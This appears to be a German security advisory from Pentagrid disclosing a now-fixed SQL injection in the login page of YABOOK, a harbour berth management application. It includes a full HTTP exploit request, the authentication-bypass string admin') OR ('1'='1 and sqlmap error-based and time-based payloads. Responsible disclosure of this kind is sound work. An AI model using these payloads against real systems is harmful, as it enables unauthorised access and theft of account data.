SQL-Injektion in Hafenverwaltung YABOOK erlaubt Umgehung der Authentisierung

YABOOK ist eine webbasierte Software von News-Solutions zur Verwaltung von Anliegerplätzen in Häfen. Einige Häfen nutzen diese Lösung als gehostete Applikation oder auch als On-Prem-Installation. Bei einer Sicherheitsuntersuchung stellte Pentagrid eine SQL-Injection in der Login-Maske der Webanwendung fest, die eine Authentisierungsumgehung ermöglichte. Dieses Sicherheitsproblem ist behoben.

Timeline

  • 2023-12-13: Initialer Kontakt mit dem Hersteller und initiales Advisory gesendet.

  • 2023-12-13: Verifiziert, dass der Fehler in Version 6.61 behoben ist.

  • 2024-02-13: CVE-ID beantragt.

  • 2024-03-12: Frist für Veröffentlichung nach 90 Tagen.

1. SQL-Injection in der Hafenverwaltung YABOOK

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, 9.8 Kritisch

Betroffene Komponenten

Pentagrid stellte die Verwundbarkeit in folgenden Versionen von YABOOK in der On-Prem-Installation bei einem Penetrationstest fest. Weitere Versionen sind voraussichtlich ebenfalls betroffen.

  • Version 3.43

  • Version 5.80

Zusammenfassung

Die Web-Anwendung YABOOK weist auf der Login-Seite eine SQL-Injection-Verwundbarkeit auf, die durch unauthentisierte Personen im Netzwerk bzw. über das Internet ausgenutzt werden kann.

Auswirkung

Die Authentisierung ist umgehbar. Das Administrator-Konto kann übernommen werden. Mit der SQL-Injection kann die Anwendung vollständig kompromittiert werden. Alle Daten der Anwendung können ausgelesen und manipuliert werden. Das Auslesen und Ermitteln von Passwörtern kann sich gegebenenfalls auch auf andere Anwendungen auswirken, wenn Passwörter wiederverwendet werden.

Technische Details

Beide getesteten Versionen sind bei der Verarbeitung von Login-Daten von einer SQL-Injection im Feld username betroffen. Bei der Eingabe ungerader Anzahlen von Hochkommas tritt eine Fehlermeldung auf, wie folgende Beispielanfrage zeigt:

POST /kasse/ HTTP/1.1
Host: XX.XX.XX.XX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Origin: http://XX.XX.XX.XX
DNT: 1
Connection: close
Referer: http://XX.XX.XX.XX/kasse/
Cookie: Kasse=fnba5lhg04ib7e6v3qqk81gu05
Upgrade-Insecure-Requests: 1

username=administrator%27%29+OR+1%3D1&password=asd&submit=Login

Diese HTTP-Anfrage resultiert in folgender HTTP-Antwort:

HTTP/1.1 200 OK
Date: [...]
Server: [...]
X-Powered-By: [...]
Expires: [...]
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 4613
Connection: close
Content-Type: text/html

 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
     "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Hafenverwaltung - YABOOK</title>

[...]

</div>
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') AND (password='7815696ecbf1c96e6894b779456d330e')' at line 1<div class=error>Benutzername oder Passwort falsch!</div>

Oft verwenden Webanwendungen zum Überprüfen eines validen Logins eine SQL-Abfrage, die ermittelt, ob zu den eingegebenen Logindaten ein passender Nutzer in der Datenbank gefunden wird. Ist das Ergebnis der Abfrage größer Null, wird der Zutritt gewährt. Derartige Abfragen lassen sich, sofern die Seite von einer SQL-Injection-Schwachstelle betroffen ist, ausnutzen, indem die Abfrage so manipuliert wird, dass das Ergebnis immer größer Null ist, unabhängig von dem eingegebenen Passwort. Dies ist auch bei YABOOK der Fall. Wird als Nutzername die Zeichenkette admin') OR ('1'='1 eingegeben, zusammen mit einem beliebigen Passwort, wird man automatisch als Administrator angemeldet.

Auch mittels Sqlmap konnte die Schwachstelle gefunden und das Datenbank-Backend ermittelt werden, wie folgender Ausschnitt zeigt:

[13:32:53] [INFO] resuming back-end DBMS 'mysql'
[13:32:53] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: username=administrator') AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7170767671,(SELECT (ELT(2508=2508,1))),0x716b6b7071,0x78))s), 8446744073709551610, 8446744073709551610)))-- xddc&password=&submit=Login

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=administrator') AND (SELECT 5783 FROM (SELECT(SLEEP(5)))dTQF)-- jOzA&password=&submit=Login
---
[13:32:53] [INFO] the back-end DBMS is MySQL
[13:32:53] [INFO] fetching banner
[13:32:53] [INFO] resumed: [...]
web server operating system: Linux Debian [...]
web application technology: [...]
back-end DBMS: MySQL >= 5.5
banner: [...]

Mit Sqlmap war es außerdem möglich, Passwort-Hashes der Nutzerkonten abzufragen. Die Passwort-Hashes sind MD5-Hashes der Passwörter ohne weiteren Salt-Wert, wodurch ein Bruteforce-Angriff auf die Hashes vereinfacht wird. MD5-Hashes lassen sich effizient generieren und damit durchprobieren, weshalb das Verfahren für Passwort-Hashing nicht mehr dem Stand der Technik entspricht.

Vorbedingung

Ein Angreifer benötigt Zugang zum Netzwerk und muss die Webanwendung im Netzwerk erreichen können. Dies entfällt, falls die Anwendung auch aus dem Internet erreichbar ist, wie es bei anderen Häfen in Deutschland der Fall ist.

Empfehlung

Pentagrid empfahl dem Hersteller:

  • Das Sicherheitsproblem zu beheben und auf weitere Sicherheitsprobleme zu prüfen.

  • Keine Fehlermeldungen zu fehlerhafter SQL-Syntax auszugeben.

  • Betroffene Kunden zu informieren.

Pentagrid empfiehlt Nutzern:

  • Auf eine aktuelle Version der Software umzustellen. Version 6.61 ist Tests der Pentagrid zufolge frei von dem Problem.

Credits

Das Sicherheitsproblem wurde von Ole Diederich (Pentagrid) gefunden.